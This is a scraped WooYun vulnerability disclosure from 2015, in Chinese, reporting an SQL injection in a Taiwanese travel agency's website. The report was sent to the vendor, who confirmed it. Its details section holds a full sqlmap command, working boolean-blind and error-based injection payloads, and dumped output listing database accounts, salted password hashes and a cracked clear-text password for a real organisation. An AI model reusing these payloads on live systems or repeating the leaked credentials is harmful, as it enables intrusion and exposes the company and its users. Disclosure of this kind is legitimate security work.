百威旅遊某處存在SQL注射漏洞（DBA權限，系統管理員密碼泄露，1843個表）（臺灣地區）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153062

漏洞标题：百威旅遊某處存在SQL注射漏洞（DBA權限，系統管理員密碼泄露，1843個表）（臺灣地區）

漏洞作者：路人甲

提交时间：2015-11-09 16:29

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-09：细节已通知厂商并且等待厂商处理中
2015-11-17：厂商已经确认，细节仅向厂商公开
2015-11-27：细节向核心白帽子及相关领域专家公开
2015-12-07：细节向普通白帽子公开
2015-12-17：细节向实习白帽子公开
2016-01-11：细节向公众公开

简要描述：

百威旅遊某處存在SQL注射漏洞（DBA權限，系統管理員密碼泄露，1843個表，1000多萬系統信息泄露）

详细说明：

地址：http://**.**.**.**/eWeb/GO/L_GO_List.asp?mgrup_cd=KUL56&s_year=2015&s

python sqlmap.py -u "http://**.**.**.**/eWeb/GO/L_GO_List.asp?mgrup_cd=KUL56&s_year=2015&s" -p mgrup_cd --technique=BE --random-agent --batch -D TRDATA -T OTB_CMS_CTR --count --columns

1. DBA权限，系统管理员密码泄露

current user:    'cowell'
current user is DBA:    True
database management system users [5]:
[*] bwt
[*] cowell
[*] cowell2
[*] cowell3
[*] sa
database management system users password hashes:
[*] bwt [1]:
    password hash: 0x0100aeba613bf39a75439d991f72ce32fff43e690779b5e053bc
        header: 0x0100
        salt: aeba613b
        mixedcase: f39a75439d991f72ce32fff43e690779b5e053bc
[*] cowell [1]:
    password hash: 0x010039ddfc0c613b88b2e240a18ac3f1e30f265917b6741b907c
        header: 0x0100
        salt: 39ddfc0c
        mixedcase: 613b88b2e240a18ac3f1e30f265917b6741b907c
    clear-text password: tr2000
[*] cowell2 [1]:
    password hash: 0x010087850a1e6124d9a321f7723ef45ec41f4f534af4b7f88105
        header: 0x0100
        salt: 87850a1e
        mixedcase: 6124d9a321f7723ef45ec41f4f534af4b7f88105
[*] cowell3 [1]:
    password hash: 0x0100fef5740e343b766a41a8d1df6cd30395d5ae79444c371f47
        header: 0x0100
        salt: fef5740e
        mixedcase: 343b766a41a8d1df6cd30395d5ae79444c371f47
[*] sa [1]:
    password hash: 0x01004086ceb6d2fa1bdb1c5505d6f0c6d9bf54da7ce34a29e667
        header: 0x0100
        salt: 4086ceb6
        mixedcase: d2fa1bdb1c5505d6f0c6d9bf54da7ce34a29e667

2. 一千多万系统信息泄露

Database: TRDATA
Table: OTB_CMS_CTR
[17 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| ad_main       | nvarchar |
| ad_middle     | nvarchar |
| ad_sub        | nvarchar |
| GUID          | char     |
| HTTP_REFERER  | varchar  |
| HTTP_REFERER2 | varchar  |
| key_main      | nvarchar |
| key_middle    | nvarchar |
| key_sub       | nvarchar |
| LoginTime     | datetime |
| QUERY_STRING  | varchar  |
| REMOTE_ADDR   | varchar  |
| Server_Name   | varchar  |
| StayTime      | varchar  |
| UnLoadTime    | datetime |
| URL           | varchar  |
| UserAgent     | varchar  |
+---------------+----------+
Database: TRDATA
+-----------------+---------+
| Table           | Entries |
+-----------------+---------+
| dbo.OTB_CMS_CTR | 11365594 |
+-----------------+---------+

漏洞证明：

---
Parameter: mgrup_cd (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: mgrup_cd=KUL56' AND 6432=6432 AND 'MgXv'='MgXv&s_year=2015&s
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: mgrup_cd=KUL56' AND 1315=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (1315=1315) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'OEAp'='OEAp&s_year=2015&s
---
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2005
current user:    'cowell'
current user is DBA:    True
database management system users [5]:
[*] bwt
[*] cowell
[*] cowell2
[*] cowell3
[*] sa
database management system users password hashes:
[*] bwt [1]:
    password hash: 0x0100aeba613bf39a75439d991f72ce32fff43e690779b5e053bc
        header: 0x0100
        salt: aeba613b
        mixedcase: f39a75439d991f72ce32fff43e690779b5e053bc
[*] cowell [1]:
    password hash: 0x010039ddfc0c613b88b2e240a18ac3f1e30f265917b6741b907c
        header: 0x0100
        salt: 39ddfc0c
        mixedcase: 613b88b2e240a18ac3f1e30f265917b6741b907c
    clear-text password: tr2000
[*] cowell2 [1]:
    password hash: 0x010087850a1e6124d9a321f7723ef45ec41f4f534af4b7f88105
        header: 0x0100
        salt: 87850a1e
        mixedcase: 6124d9a321f7723ef45ec41f4f534af4b7f88105
[*] cowell3 [1]:
    password hash: 0x0100fef5740e343b766a41a8d1df6cd30395d5ae79444c371f47
        header: 0x0100
        salt: fef5740e
        mixedcase: 343b766a41a8d1df6cd30395d5ae79444c371f47
[*] sa [1]:
    password hash: 0x01004086ceb6d2fa1bdb1c5505d6f0c6d9bf54da7ce34a29e667
        header: 0x0100
        salt: 4086ceb6
        mixedcase: d2fa1bdb1c5505d6f0c6d9bf54da7ce34a29e667

修复方案：

上WAF。

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-11-17 12:27

厂商回复：

感謝通報

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153062

漏洞标题：百威旅遊某處存在SQL注射漏洞（DBA權限，系統管理員密碼泄露，1843個表）（臺灣地區）

相关厂商：百威旅遊

漏洞作者：路人甲

提交时间：2015-11-09 16:29

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153062

漏洞标题：百威旅遊某處存在SQL注射漏洞（DBA權限，系統管理員密碼泄露，1843個表）（臺灣地區）

相关厂商：百威旅遊

漏洞作者： 路人甲

提交时间：2015-11-09 16:29

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0153062"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞

漏洞作者：路人甲

Tags标签：无

4人收藏收藏
分享漏洞：

版权声明：转载请注明来源路人甲@乌云